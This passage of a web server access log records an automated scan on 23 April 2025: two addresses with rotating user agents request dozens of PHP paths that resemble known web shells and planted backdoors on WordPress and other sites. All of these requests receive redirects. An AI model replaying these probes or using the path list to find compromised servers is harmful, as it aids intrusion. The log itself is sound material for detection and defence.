Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:44 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:44 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:45 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:45 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:45 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:45 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:46 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:46 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:46 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:46 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:46 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:47 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:47 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:47 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:47 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:47 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:48 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:48 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:48 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:48 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:49 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:49 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:49 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:49 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:17:50 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:50 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:50 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:50 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:50 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:51 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:17:51 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:51 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:51 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:52 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:52 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:52 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:52 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:53 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:53 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:53 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:54 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:54 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:17:54 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:54 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:55 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:55 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - 